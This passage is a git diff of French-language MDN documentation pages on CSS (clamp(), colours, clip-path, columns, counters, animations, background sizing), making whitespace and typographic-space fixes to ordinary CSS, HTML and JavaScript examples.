tester et une valeur maximale. La fonction `clamp()` peut être utilisée à tout endroit où une valeur de type {{cssxref("<length>")}}, {{cssxref("<frequency>")}}, {{cssxref("<angle>")}}, {{cssxref("<time>")}}, {{cssxref("<percentage>")}}, {{cssxref("<number>")}} ou {{cssxref("<integer>")}} peut être utilisée. +La fonction CSS **`clamp()`** permet de ramener (d'écrêter) une valeur entre deux bornes inférieure et supérieure. Cette fonction utilise trois paramètres : une valeur minimale, la valeur à tester et une valeur maximale. La fonction `clamp()` peut être utilisée à tout endroit où une valeur de type {{cssxref("<length>")}}, {{cssxref("<frequency>")}}, {{cssxref("<angle>")}}, {{cssxref("<time>")}}, {{cssxref("<percentage>")}}, {{cssxref("<number>")}} ou {{cssxref("<integer>")}} peut être utilisée. -> **Note :** l'expression `clamp(MIN, VAL, MAX)` sera résolue comme `max(MIN, min(VAL, MAX)))`. +> **Note :** l'expression `clamp(MIN, VAL, MAX)` sera résolue comme `max(MIN, min(VAL, MAX)))`. ```css width: clamp(10px, 4em, 80px); @@ -41,7 +41,7 @@ La valeur préférée correspond à la valeur qui sera utilisée si elle est sup La valeur maximale est la borne supérieure des valeurs autorisées. C'est cette valeur qui sera utilisée si la valeur préférée lui est supérieure. -Les expressions passées en paramètres peuvent utiliser des fonctions mathématiques (voir {{CSSxRef("calc")}} pour plus d'informationsn), des valeurs littérales ou d'autres expressions ( {{CSSxRef("attr", "attr()")}} par exemple) tant que le résultat de cette expression est évalué avec un type valide. Il est aussi possible d'utiliser des expressions mathématiques sans `calc()` et il est également possible d'ajouter des parenthèses pour prioriser correctement les opérations imbriquées. +Les expressions passées en paramètres peuvent utiliser des fonctions mathématiques (voir {{CSSxRef("calc")}} pour plus d'informationsn), des valeurs littérales ou d'autres expressions ( {{CSSxRef("attr", "attr()")}} par exemple) tant que le résultat de cette expression est évalué avec un type valide. Il est aussi possible d'utiliser des expressions mathématiques sans `calc()` et il est également possible d'ajouter des parenthèses pour prioriser correctement les opérations imbriquées. Il est possible d'utiliser différentes unités pour chacune des valeurs des expressions. @@ -89,7 +89,7 @@ Ici on utilise l'unité `rem` pour fixer un maximum correspondant à deux fois l | Spécification | État | Commentaires | | ---------------------------------------------------------------------------- | -------------------------------- | ------------ | -| {{SpecName('CSS4 Values', '#calc-notation', 'clamp()')}} | {{Spec2('CSS4 Values')}} | | +| {{SpecName('CSS4 Values', '#calc-notation', 'clamp()')}} | {{Spec2('CSS4 Values')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/css/class_selectors/index.md b/files/fr/web/css/class_selectors/index.md index 1d44d777df..85535097ed 100644 --- a/files/fr/web/css/class_selectors/index.md +++ b/files/fr/web/css/class_selectors/index.md @@ -70,8 +70,8 @@ Cela est exactement équivalent à l'utilisation du [sélecteur d'attribut](/fr/ | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------- | ------------------------------------ | -------------------- | | {{SpecName('CSS4 Selectors', '#class-html', 'class selectors')}} | {{Spec2('CSS4 Selectors')}} | Aucune modification. | -| {{SpecName('CSS3 Selectors', '#class-html', 'class selectors')}} | {{Spec2('CSS3 Selectors')}} | | -| {{SpecName('CSS2.1', 'selector.html#class-html', 'child selectors')}} | {{Spec2('CSS2.1')}} | | +| {{SpecName('CSS3 Selectors', '#class-html', 'class selectors')}} | {{Spec2('CSS3 Selectors')}} | | +| {{SpecName('CSS2.1', 'selector.html#class-html', 'child selectors')}} | {{Spec2('CSS2.1')}} | | | {{SpecName('CSS1', '#class-as-selector', 'child selectors')}} | {{Spec2('CSS1')}} | Définition initiale. | ## Compatibilité des navigateurs diff --git a/files/fr/web/css/clip-path/index.md b/files/fr/web/css/clip-path/index.md index 6f036cfd9b..8bf96194ff 100644 --- a/files/fr/web/css/clip-path/index.md +++ b/files/fr/web/css/clip-path/index.md @@ -492,10 +492,10 @@ p { .shape1 { clip-path: circle(25%); } .shape2 { clip-path: circle(25% at 25% 25%); } .shape3 { clip-path: fill-box circle(25% at 25% 25%); } -.shape4 { clip-path: stroke-box circle(25% at 25% 25%); } +.shape4 { clip-path: stroke-box circle(25% at 25% 25%); } .shape5 { clip-path: view-box circle(25% at 25% 25%); } -.shape6 { clip-path: margin-box circle(25% at 25% 25%); } -.shape7 { clip-path: border-box circle(25% at 25% 25%); } +.shape6 { clip-path: margin-box circle(25% at 25% 25%); } +.shape7 { clip-path: border-box circle(25% at 25% 25%); } .shape8 { clip-path: padding-box circle(25% at 25% 25%); } .shape9 { clip-path: content-box circle(25% at 25% 25%); } diff --git a/files/fr/web/css/clip/index.md b/files/fr/web/css/clip/index.md index 21947f1069..4d07894cb9 100644 --- a/files/fr/web/css/clip/index.md +++ b/files/fr/web/css/clip/index.md @@ -99,7 +99,7 @@ clip: unset; | Spécification | État | Commentaires | | -------------------------------------------------------------------------------- | ---------------------------------------- | ----------------------------------------------------------------------------------------------------------- | -| {{SpecName('CSS Masks', '#clip-property', 'clip')}} | {{Spec2('CSS Masks')}} | Dépréciation de la propriété `clip` et proposition de {{cssxref("clip-path")}} comme remplacement. | +| {{SpecName('CSS Masks', '#clip-property', 'clip')}} | {{Spec2('CSS Masks')}} | Dépréciation de la propriété `clip` et proposition de {{cssxref("clip-path")}} comme remplacement. | | {{SpecName('CSS3 Transitions', '#animatable-css', 'clip')}} | {{Spec2('CSS3 Transitions')}} | `clip` peut être animée. | | {{SpecName('CSS2.1', 'visufx.html#clipping', 'clip')}} | {{Spec2('CSS2.1')}} | Définition initiale. | diff --git a/files/fr/web/css/color-scheme/index.md b/files/fr/web/css/color-scheme/index.md index 0f4b726826..04118a45b9 100644 --- a/files/fr/web/css/color-scheme/index.md +++ b/files/fr/web/css/color-scheme/index.md @@ -67,6 +67,6 @@ Pour activer la préférence de jeu de couleurs de l'utilisateur sur l'ensemble ## Voir aussi - [Appliquer des couleurs aux éléments HTML grâce à CSS](/fr/docs/Web/HTML/Applying_color) -- Les autres propriétés relatives aux couleurs : {{cssxref("color")}}, {{cssxref("background-color")}}, {{cssxref("border-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("text-shadow")}}, {{cssxref("caret-color")}} et {{cssxref("column-rule-color")}} +- Les autres propriétés relatives aux couleurs : {{cssxref("color")}}, {{cssxref("background-color")}}, {{cssxref("border-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("text-shadow")}}, {{cssxref("caret-color")}} et {{cssxref("column-rule-color")}} - {{cssxref("background-image")}} - {{cssxref("-webkit-print-color-adjust")}} diff --git a/files/fr/web/css/color/index.md b/files/fr/web/css/color/index.md index 0922b430ee..52cffcaca6 100644 --- a/files/fr/web/css/color/index.md +++ b/files/fr/web/css/color/index.md @@ -95,11 +95,11 @@ La propriété `color` est définie grâce à une valeur de type {{cssxref("< En passant elle prit sur un rayon un pot de confiture portant cette étiquette, <span class="confiture"> - « MARMELADE D’ORANGES. » + « MARMELADE D’ORANGES. » </span> - Mais, à son grand regret, le pot était vide : + Mais, à son grand regret, le pot était vide : elle n’osait le laisser tomber dans la crainte - de tuer quelqu’un ; aussi s’arrangea-t-elle de + de tuer quelqu’un ; aussi s’arrangea-t-elle de manière à le déposer en passant dans une des armoires. </p> diff --git a/files/fr/web/css/color_value/index.md b/files/fr/web/css/color_value/index.md index d658dfd023..55f729a490 100644 --- a/files/fr/web/css/color_value/index.md +++ b/files/fr/web/css/color_value/index.md @@ -12,7 +12,7 @@ original_slug: Web/CSS/Type_color Le type de données CSS **`<color>`** permet de représenter des couleurs dans [l'espace de couleurs sRGB](https://fr.wikipedia.org/wiki/SRGB). Une couleur pourra être décrite de trois façons : -- grâce à un mot-clé (comme `blue` ou `transparent` par exemple) +- grâce à un mot-clé (comme `blue` ou `transparent` par exemple) - en utilisant [le système de coordonnées cubiques RGB](https://fr.wikipedia.org/wiki/Couleur_du_Web#Triplet_hexad.C3.A9cimal) (grâce à la notation #-hexadecimal ou aux notations fonctionnelles `rgb()` et `rgba()`) - en utilisant [le système de coordonnées cylindriques HSL](https://fr.wikipedia.org/wiki/Teinte_saturation_lumi%C3%A8re) (grâce aux notations fonctionnelles `hsl()` et `hsla()`) diff --git a/files/fr/web/css/columns/index.md b/files/fr/web/css/columns/index.md index 71a22e246c..52528a656d 100644 --- a/files/fr/web/css/columns/index.md +++ b/files/fr/web/css/columns/index.md @@ -57,10 +57,10 @@ La propriété `columns` se définit avec un ou deux valeurs parmi celles décri ```css .exemple { - margin: 0; - height: 90px; - border: 3px solid black; - columns: 3; + margin: 0; + height: 90px; + border: 3px solid black; + columns: 3; } ``` diff --git a/files/fr/web/css/contain/index.md b/files/fr/web/css/contain/index.md index dd2b464a31..7f7cb4ca5f 100644 --- a/files/fr/web/css/contain/index.md +++ b/files/fr/web/css/contain/index.md @@ -10,7 +10,7 @@ translation_of: Web/CSS/contain --- {{CSSRef}}{{SeeCompatTable}} -La propriété CSS **`contain`** permet d'indiquer qu'un élément, ainsi que son contenu, sont, autant que possible, indépendants du reste de l'arbre du document. Cela permet au navigateur de recalculer la disposition, la mise en forme, la taille, les _peintures_ ou toute combinaison de ces éléments pour une zone donnée du DOM plutôt que pour la page complète. +La propriété CSS **`contain`** permet d'indiquer qu'un élément, ainsi que son contenu, sont, autant que possible, indépendants du reste de l'arbre du document. Cela permet au navigateur de recalculer la disposition, la mise en forme, la taille, les _peintures_ ou toute combinaison de ces éléments pour une zone donnée du DOM plutôt que pour la page complète. ```css /* Valeurs avec un mot-clé */ diff --git a/files/fr/web/css/containing_block/index.md b/files/fr/web/css/containing_block/index.md index 386a998680..2587b0cff0 100644 --- a/files/fr/web/css/containing_block/index.md +++ b/files/fr/web/css/containing_block/index.md @@ -35,7 +35,7 @@ Les dimensions et la position d'un élément sont souvent dépendants du bloc en Le bloc englobant est entièrement déterminé par la valeur de la propriété {{cssxref("position")}} pour l'élément : -- Si la propriété `position` vaut **`static`**, **`relative`** ou **`sticky`**, le bloc englobant est constitué par le bord de la boîte de contenu de l'ancêtre le plus proche qui est un conteneur de bloc (c'est-à-dire qui est un élément avec `display` qui vaut `inline-block`, `block` ou `list-item`) ou qui crée un contexte de formatage (tel qu'un conteneur de tableau, un conteneur flexible, un conteneur de grille ou le conteneur du bloc même). +- Si la propriété `position` vaut **`static`**, **`relative`** ou **`sticky`**, le bloc englobant est constitué par le bord de la boîte de contenu de l'ancêtre le plus proche qui est un conteneur de bloc (c'est-à-dire qui est un élément avec `display` qui vaut `inline-block`, `block` ou `list-item`) ou qui crée un contexte de formatage (tel qu'un conteneur de tableau, un conteneur flexible, un conteneur de grille ou le conteneur du bloc même). - Si la propriété `position` vaut **`absolute`**, le bloc englobant est constitué par le bord de la boîte de remplissage (_padding_) de l'ancêtre le plus proche dont la valeur de `position` est différente de `static` (`fixed`, `absolute`, `relative` ou `sticky`). - Si la propriété `position` vaut **`fixed`**, le bloc englobant est formé par le {{glossary("viewport")}} (ou la page dans le cas des média paginés). - Si la propriété `position` vaut **`absolute`** ou `fixed`, le bloc englobant peut également être constitué par le bord de la boîte de remplissage le plus proche qui a : diff --git a/files/fr/web/css/counter()/index.md b/files/fr/web/css/counter()/index.md index beaca7828e..659de2ece3 100644 --- a/files/fr/web/css/counter()/index.md +++ b/files/fr/web/css/counter()/index.md @@ -29,7 +29,7 @@ Un [compteur](/fr/docs/Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters) CSS n' ### Valeurs - {{cssxref("<custom-ident>")}} - - : Un nom identifiant le compteur (sensible à la casse). C'est le même nom qui pourra être utilisé avec {{cssxref("counter-reset")}} et {{cssxref("counter-increment")}}. Le nom ne peut pas commencer avec deux tirets et ne peut pas être l'un des mots-clés `none`, `unset`, `initial` ou `inherit`. + - : Un nom identifiant le compteur (sensible à la casse). C'est le même nom qui pourra être utilisé avec {{cssxref("counter-reset")}} et {{cssxref("counter-increment")}}. Le nom ne peut pas commencer avec deux tirets et ne peut pas être l'un des mots-clés `none`, `unset`, `initial` ou `inherit`. - `<counter-style>` - : Un nom de style de compteur ou une fonction [`symbols()`](</fr/docs/Web/CSS/symbols()>). Le nom d'un style de compteur peut indiquer un compteur [alphabétique, numérique, symbolique ou encore utilisant un système de numération asiatique ou éthiopien](/fr/docs/Web/CSS/list-style-type#valeurs) ou un autre [style de compteur prédéfini](/fr/docs/Web/CSS/CSS_Counter_Styles). Si cette valeur n'est pas fournie, le style par défaut est décimal. - `none` @@ -63,7 +63,7 @@ li { counter-increment: listCounter; } li::after { - content: "[" counter(listCounter) "] == [" + content: "[" counter(listCounter) "] == [" counter(listCounter, upper-roman) "]"; } ``` diff --git a/files/fr/web/css/counter-set/index.md b/files/fr/web/css/counter-set/index.md index a2c2cbe72b..de8d517491 100644 --- a/files/fr/web/css/counter-set/index.md +++ b/files/fr/web/css/counter-set/index.md @@ -9,7 +9,7 @@ translation_of: Web/CSS/counter-set --- {{CSSRef}} -La propriété CSS **`counter-set`** définit un [compteur CSS](/fr/docs/Web/CSS/CSS_Lists/Compteurs_CSS) avec une certaine valeur. Elle permet de manipuler les valeurs des compteurs existants et ne créera qu'un nouveau compteur que lorsqu'il n'existe pas de compteur avec le nom indiqué sur l'élément. +La propriété CSS **`counter-set`** définit un [compteur CSS](/fr/docs/Web/CSS/CSS_Lists/Compteurs_CSS) avec une certaine valeur. Elle permet de manipuler les valeurs des compteurs existants et ne créera qu'un nouveau compteur que lorsqu'il n'existe pas de compteur avec le nom indiqué sur l'élément. > **Note :** La valeur d'un compteur peut être incrémentée ou décrémentée grâce à la propriété CSS {{cssxref("counter-increment")}}. diff --git a/files/fr/web/css/counters()/index.md b/files/fr/web/css/counters()/index.md index 96ed5b7e88..b663dfb9ed 100644 --- a/files/fr/web/css/counters()/index.md +++ b/files/fr/web/css/counters()/index.md @@ -90,7 +90,7 @@ li::marker { content: counters(listCounter, '.', upper-roman) ') '; } li::before { - content: counters(listCounter, ".") " == " counters(listCounter, ".", lower-roman) ; + content: counters(listCounter, ".") " == " counters(listCounter, ".", lower-roman) ; } ``` @@ -141,7 +141,7 @@ li::marker { content: counters(count, '.', upper-alpha) ') '; } li::before { - content: counters(count, ".", decimal-leading-zero) " == " counters(count, ".", lower-alpha); + content: counters(count, ".", decimal-leading-zero) " == " counters(count, ".", lower-alpha); } ``` diff --git a/files/fr/web/css/css_animations/detecting_css_animation_support/index.md b/files/fr/web/css/css_animations/detecting_css_animation_support/index.md index de84d1848a..1000237d2c 100644 --- a/files/fr/web/css/css_animations/detecting_css_animation_support/index.md +++ b/files/fr/web/css/css_animations/detecting_css_animation_support/index.md @@ -24,7 +24,7 @@ var animation = false, keyframeprefix = '', domPrefixes = 'Webkit Moz O ms Khtml'.split(' '), pfx = '', - elem = document.createElement('div'); + elem = document.createElement('div'); if( elem.style.animationName !== undefined ) { animation = true; } @@ -43,7 +43,7 @@ if( animation === false ) { Pour commencer, on définit quelques variables et on part de l'hypothèse que les animations ne sont pas prises en charge en définissant `animation` avec `false`. On utilise la chaîne de caractères `animationstring` avec la valeur "animation" car celle-ci représentera le nom de la propriété qu'on souhaite définir. On crée également un tableau contenant les préfixes des différents navigateurs afin de pouvoir parcourir ces différents cas et qu'on utilisera avec la variable `pfx` qu'on définit pour le moment avec la chaîne vide. -Ensuite, on vérifie si la propriété CSS {{cssxref("animation-name")}} on est définie sur l'élément représenté par la variable `elem`. Cela signifie alors que le navigateur prend en charge les animations CSS sans préfixe. +Ensuite, on vérifie si la propriété CSS {{cssxref("animation-name")}} on est définie sur l'élément représenté par la variable `elem`. Cela signifie alors que le navigateur prend en charge les animations CSS sans préfixe. Si le navigateur ne prend pas en charge la version sans préfixe et que `animation` vaut toujours `false`, on parcourt les différents préfixes des principaux navigateurs et on modifie le nom de `AnimationName` de la même façon. diff --git a/files/fr/web/css/css_animations/tips/index.md b/files/fr/web/css/css_animations/tips/index.md index 2f3ea5c601..a8e36ee3c4 100644 --- a/files/fr/web/css/css_animations/tips/index.md +++ b/files/fr/web/css/css_animations/tips/index.md @@ -107,7 +107,7 @@ document.querySelector(".runButton").addEventListener("click", play, false); Si on retire la propriété {{cssxref("animation-name")}} appliquée à un élément, l'animation s'arrêtera au prochain état défini. Si on souhaite plutôt que l'animation se termine et parvienne à un point d'arrêt, il faudra utiliser une autre approche. Voici quelques pistes : -1. L'animation doit être la plus isolée possible et on ne doit pas reposer sur `animation-direction: alternate`. Il faut une animation explicitement séquencée qui parcourt l'ensemble de l'animation en un cycle. +1. L'animation doit être la plus isolée possible et on ne doit pas reposer sur `animation-direction: alternate`. Il faut une animation explicitement séquencée qui parcourt l'ensemble de l'animation en un cycle. 2. Utiliser JavaScript pour retirer l'animation lorsque l'évènement `animationiteration` se déclenche. Ces pistes sont utilisées dans la démonstration suivante : diff --git a/files/fr/web/css/css_backgrounds_and_borders/index.md b/files/fr/web/css/css_backgrounds_and_borders/index.md index cfcdb58e26..7aeead0149 100644 --- a/files/fr/web/css/css_backgrounds_and_borders/index.md +++ b/files/fr/web/css/css_backgrounds_and_borders/index.md @@ -83,6 +83,6 @@ translation_of: Web/CSS/CSS_Backgrounds_and_Borders | Spécification | État | Commentaires | | -------------------------------------------- | ---------------------------------------- | ------------ | -| {{SpecName('CSS3 Backgrounds')}} | {{Spec2('CSS3 Backgrounds')}} | | -| {{SpecName('CSS2.1', 'box.html')}} | {{Spec2('CSS2.1')}} | | -| {{SpecName('CSS1', '#border')}} | {{Spec2('CSS1')}} | | +| {{SpecName('CSS3 Backgrounds')}} | {{Spec2('CSS3 Backgrounds')}} | | +| {{SpecName('CSS2.1', 'box.html')}} | {{Spec2('CSS2.1')}} | | +| {{SpecName('CSS1', '#border')}} | {{Spec2('CSS1')}} | | diff --git a/files/fr/web/css/css_backgrounds_and_borders/resizing_background_images/index.md b/files/fr/web/css/css_backgrounds_and_borders/resizing_background_images/index.md index 6688539186..d340b7c1de 100644 --- a/files/fr/web/css/css_backgrounds_and_borders/resizing_background_images/index.md +++ b/files/fr/web/css/css_backgrounds_and_borders/resizing_background_images/index.md @@ -11,11 +11,11 @@ original_slug: Web/CSS/CSS_Backgrounds_and_Borders/Scaling_background_images --- {{CSSRef}} -La propriété CSS {{cssxref("background-size")}} permet d'ajuster la taille des images utilisées en arrière-plan et de remplacer le comportement par défaut qui consiste à créer un carrelage de l'image à sa pleine grandeur. Il est ainsi possible d'agrandir ou de rapetisser l'image. +La propriété CSS {{cssxref("background-size")}} permet d'ajuster la taille des images utilisées en arrière-plan et de remplacer le comportement par défaut qui consiste à créer un carrelage de l'image à sa pleine grandeur. Il est ainsi possible d'agrandir ou de rapetisser l'image. ## Carreler une image de grande taille -Prenons une image de grande taille (par exemple l'ancien logo de Firefox en 2485x2340px). On souhaite la carreler en quatre copies de 300x300 px, comme dans l'image suivante. +Prenons une image de grande taille (par exemple l'ancien logo de Firefox en 2485x2340px). On souhaite la carreler en quatre copies de 300x300 px, comme dans l'image suivante.  @@ -33,11 +33,11 @@ On peut utiliser la feuille de style CSS suivante pour obtenir l'effet voulu : } ``` -On notera que, dans l'exemple précédent, une seule valeur avait été précisée pour {{cssxref("background-size")}} : 150 px. Dans ce cas, cette valeur est utilisée pour la largeur et la hauteur est alors fixée à `auto`. +On notera que, dans l'exemple précédent, une seule valeur avait été précisée pour {{cssxref("background-size")}} : 150 px. Dans ce cas, cette valeur est utilisée pour la largeur et la hauteur est alors fixée à `auto`. ## Étirer une image -Il est aussi possible de spécifier, respectivement, la largeur et la hauteur de l'image, comme dans l'exemple suivant, où la taille de l'image est imposée à 300x150 px. +Il est aussi possible de spécifier, respectivement, la largeur et la hauteur de l'image, comme dans l'exemple suivant, où la taille de l'image est imposée à 300x150 px. ```css background-size: 300px 150px; @@ -69,13 +69,13 @@ On remarque que la feuille de style utilisée est identique à la précédente, ## Valeurs spéciales : `contain` et `cover` -En plus de {{cssxref("<length>")}}, la propriété CSS {{cssxref("background-size")}} permet d'employer deux autres valeurs : `contain` et `cover`. +En plus de {{cssxref("<length>")}}, la propriété CSS {{cssxref("background-size")}} permet d'employer deux autres valeurs : `contain` et `cover`. ### `contain` La valeur `contain` spécifie les dimensions de l'image d'arrière-plan de manière à ce que sa largeur et sa hauteur soient aussi grandes que possible, tout en conservant l'image à l'intérieur de son élément conteneur. Ainsi, l'image ne peut déborder de son élément conteneur. -Essayez de redimensionner la fenêtre de votre navigateur afin de voir la valeur `contain` en action (Votre navigateur doit supporter la mise à l'échelle d'images d'arrière-plan). +Essayez de redimensionner la fenêtre de votre navigateur afin de voir la valeur `contain` en action (Votre navigateur doit supporter la mise à l'échelle d'images d'arrière-plan). {{EmbedLiveSample("contain", "100%", "220")}} diff --git a/files/fr/web/css/css_box_alignment/box_alignment_in_block_abspos_tables/index.md b/files/fr/web/css/css_box_alignment/box_alignment_in_block_abspos_tables/index.md index 54bb94fdb9..e9a1c0b2a5 100644 --- a/files/fr/web/css/css_box_alignment/box_alignment_in_block_abspos_tables/index.md +++ b/files/fr/web/css/css_box_alignment/box_alignment_in_block_abspos_tables/index.md @@ -45,9 +45,9 @@ Avant l'apparition des boîtes flexibles (_flexbox_), l'alignement horizontal é ```css .container { - width: 20em; - margin-left: auto; - margin-right: auto; + width: 20em; + margin-left: auto; + margin-right: auto; } ``` diff --git a/files/fr/web/css/css_box_model/index.md b/files/fr/web/css/css_box_model/index.md index 7dbf6c1104..e7a04d0a0c 100644 --- a/files/fr/web/css/css_box_model/index.md +++ b/files/fr/web/css/css_box_model/index.md @@ -40,7 +40,7 @@ original_slug: Web/CSS/Modèle_de_boîte_CSS - {{cssxref("margin-left")}} - {{cssxref("margin-right")}} - {{cssxref("margin-top")}} -- {{CSSxRef("margin-trim")}} {{Experimental_Inline}} +- {{CSSxRef("margin-trim")}} {{Experimental_Inline}} #### Les propriétés qui définissent le remplissage (_padding_) d'une boîte @@ -69,5 +69,5 @@ original_slug: Web/CSS/Modèle_de_boîte_CSS | Spécification | État | Commentaires | | -------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName("CSS3 Box")}} | {{Spec2("CSS3 Box")}} | Added `margin-trim` | -| {{SpecName("CSS2.1", "box.html")}} | {{Spec2("CSS2.1")}} | | +| {{SpecName("CSS2.1", "box.html")}} | {{Spec2("CSS2.1")}} | | | {{SpecName("CSS1")}} | {{Spec2("CSS1")}} | Définition initiale. | diff --git a/files/fr/web/css/css_color/index.md b/files/fr/web/css/css_color/index.md index 2ebf2f0b60..ebcaef8a8b 100644 --- a/files/fr/web/css/css_color/index.md +++ b/files/fr/web/css/css_color/index.md @@ -40,9 +40,9 @@ translation_of: Web/CSS/CSS_Color | Spécification | État | Commentaires | | ------------------------------------------------ | -------------------------------- | -------------------- | -| {{SpecName('CSS4 Colors')}} | {{Spec2('CSS4 Colors')}} | | -| {{SpecName('CSS3 Colors')}} | {{Spec2('CSS3 Colors')}} | | -| {{SpecName('CSS2.1', 'colors.html')}} | {{Spec2('CSS2.1')}} | | +| {{SpecName('CSS4 Colors')}} | {{Spec2('CSS4 Colors')}} | | +| {{SpecName('CSS3 Colors')}} | {{Spec2('CSS3 Colors')}} | | +| {{SpecName('CSS2.1', 'colors.html')}} | {{Spec2('CSS2.1')}} | | | {{SpecName('CSS1')}} | {{Spec2('CSS1')}} | Définition initiale. | ## Compatibilité des navigateurs diff --git a/files/fr/web/css/css_columns/basic_concepts_of_multicol/index.md b/files/fr/web/css/css_columns/basic_concepts_of_multicol/index.md index 74f2583388..8a518d5223 100644 --- a/files/fr/web/css/css_columns/basic_concepts_of_multicol/index.md +++ b/files/fr/web/css/css_columns/basic_concepts_of_multicol/index.md @@ -71,7 +71,7 @@ La [propriété raccourcie](/fr/docs/Web/CSS/Propriétés_raccourcies) `columns` Ce fragment de code CSS donnera donc le même résultat que pour le premier exemple où `column-count` vaut 3. .container { - columns: 3; + columns: 3; } Ce fragment de code CSS donnera le même résultat que pour le deuxième exemple où `column-width` vaut `200px`. diff --git a/files/fr/web/css/css_columns/handling_content_breaks_in_multicol/index.md b/files/fr/web/css/css_columns/handling_content_breaks_in_multicol/index.md index f2e6f0e060..d191290e31 100644 --- a/files/fr/web/css/css_columns/handling_content_breaks_in_multicol/index.md +++ b/files/fr/web/css/css_columns/handling_content_breaks_in_multicol/index.md @@ -52,7 +52,7 @@ Avec l'exemple suivant, on force une rupture avant chaque élément de titre `h2 ## Les ruptures entre les lignes -On peut aussi utiliser les propriétés {{cssxref("orphans")}} et {{cssxref("widows")}}. La propriété `orphans` contrôle le nombre de lignes qui restent à la fin d'un fragment et la propriété `widows` contrôle le nombre de lignes qui restent au début d'un fragment. +On peut aussi utiliser les propriétés {{cssxref("orphans")}} et {{cssxref("widows")}}. La propriété `orphans` contrôle le nombre de lignes qui restent à la fin d'un fragment et la propriété `widows` contrôle le nombre de lignes qui restent au début d'un fragment. Les propriétés `orphans` et `widows` prennent un entier comme valeur et qui indique le nombre de lignes à avoir à la fin ou au début d'un fragment. On notera que ces propriétés ne fonctionnent qu'à l'intérieur d'un conteneur de bloc (un paragraphe par exemple). Si le bloc contient un nombre de lignes inférieur au nombre précisé pour la propriété, toutes les lignes resteront groupées ensemble. diff --git a/files/fr/web/css/css_columns/index.md b/files/fr/web/css/css_columns/index.md index e5d4cc5ffa..4e62a99372 100644 --- a/files/fr/web/css/css_columns/index.md +++ b/files/fr/web/css/css_columns/index.md @@ -14,7 +14,7 @@ translation_of: Web/CSS/CSS_Columns ## Exemple simple -Dans l'exemple qui suit, on applique la propriété {{cssxref("column-count")}} sur l'élément qui possède la classe `container`. La valeur de la propriété `column-count` est `3`, et le contenu est donc arrangé entre trois colonnes de tailles égales. +Dans l'exemple qui suit, on applique la propriété {{cssxref("column-count")}} sur l'élément qui possède la classe `container`. La valeur de la propriété `column-count` est `3`, et le contenu est donc arrangé entre trois colonnes de tailles égales. {{EmbedGHLiveSample("css-examples/multicol/basics/column-count.html", '100%', 550)}} diff --git a/files/fr/web/css/css_columns/using_multi-column_layouts/index.md b/files/fr/web/css/css_columns/using_multi-column_layouts/index.md index faf44e11f3..55695a1a37 100644 --- a/files/fr/web/css/css_columns/using_multi-column_layouts/index.md +++ b/files/fr/web/css/css_columns/using_multi-column_layouts/index.md @@ -34,23 +34,23 @@ On utilisera la propriété `column-count` pour définir le nombre de colonnes q ```html <div id="col"> - <p> - Lorem ipsum dolor sit amet, consectetur adipisicing elit, - sed do eiusmod tempor incididunt ut labore et dolore magna - aliqua. - </p> - <p> - Ut enim ad minim veniam, quis nostrud exercitation ullamco - laboris nisi ut aliquip ex ea commodo consequat. - </p> - <p> - Duis aute irure dolor in reprehenderit in voluptate velit - esse cillum dolore eu fugiat nulla pariatur. - </p> - <p> - Excepteur sint occaecat cupidatat non proident, sunt in - culpa qui officia deserunt mollit anim id est laborum. - </p> + <p> + Lorem ipsum dolor sit amet, consectetur adipisicing elit, + sed do eiusmod tempor incididunt ut labore et dolore magna + aliqua. + </p> + <p> + Ut enim ad minim veniam, quis nostrud exercitation ullamco + laboris nisi ut aliquip ex ea commodo consequat. + </p> + <p> + Duis aute irure dolor in reprehenderit in voluptate velit + esse cillum dolore eu fugiat nulla pariatur. + </p> + <p> + Excepteur sint occaecat cupidatat non proident, sunt in + culpa qui officia deserunt mollit anim id est laborum. + </p> </div> ``` @@ -76,14 +76,14 @@ La propriété `column-width` permet quant à elle de définir la largeur minima ```html <div id="wid"> - Lorem ipsum dolor sit amet, consectetur adipisicing elit, - sed do eiusmod tempor incididunt ut labore et dolore magna - aliqua. Ut enim ad minim veniam, quis nostrud exercitation - ullamco laboris nisi ut aliquip ex ea commodo consequat. - Duis aute irure dolor in reprehenderit in voluptate velit - esse cillum dolore eu fugiat nulla pariatur. Excepteur sint - occaecat cupidatat non proident, sunt in culpa qui officia - deserunt mollit anim id est laborum + Lorem ipsum dolor sit amet, consectetur adipisicing elit, + sed do eiusmod tempor incididunt ut labore et dolore magna + aliqua. Ut enim ad minim veniam, quis nostrud exercitation + ullamco laboris nisi ut aliquip ex ea commodo consequat. + Duis aute irure dolor in reprehenderit in voluptate velit + esse cillum dolore eu fugiat nulla pariatur. Excepteur sint + occaecat cupidatat non proident, sunt in culpa qui officia + deserunt mollit anim id est laborum </div> ``` @@ -111,14 +111,14 @@ Ainsi, la déclaration `column-width:12em` pourra être remplacée de la façon ```html <div id="col_short"> - Lorem ipsum dolor sit amet, consectetur adipisicing elit, - sed do eiusmod tempor incididunt ut labore et dolore magna - aliqua. Ut enim ad minim veniam, quis nostrud exercitation - ullamco laboris nisi ut aliquip ex ea commodo consequat. - Duis aute irure dolor in reprehenderit in voluptate velit - esse cillum dolore eu fugiat nulla pariatur. Excepteur sint - occaecat cupidatat non proident, sunt in culpa qui officia - deserunt mollit anim id est laborum + Lorem ipsum dolor sit amet, consectetur adipisicing elit, + sed do eiusmod tempor incididunt ut labore et dolore magna + aliqua. Ut enim ad minim veniam, quis nostrud exercitation + ullamco laboris nisi ut aliquip ex ea commodo consequat. + Duis aute irure dolor in reprehenderit in voluptate velit + esse cillum dolore eu fugiat nulla pariatur. Excepteur sint + occaecat cupidatat non proident, sunt in culpa qui officia + deserunt mollit anim id est laborum </div> ``` diff --git a/files/fr/web/css/css_counter_styles/using_css_counters/index.md b/files/fr/web/css/css_counter_styles/using_css_counters/index.md index f37a4b8ca4..f2d8ef91e3 100644 --- a/files/fr/web/css/css_counter_styles/using_css_counters/index.md +++ b/files/fr/web/css/css_counter_styles/using_css_counters/index.md @@ -18,7 +18,7 @@ La valeur d'un compteur peut être manipulée grâce aux propriétés {{cssxref( ### Manipuler la valeur d'un compteur -Pour utiliser un compteur CSS, il faut d'abord réinitialiser sa valeur (0 par défaut) à l'aide de {{cssxref("counter-reset")}}. Pour 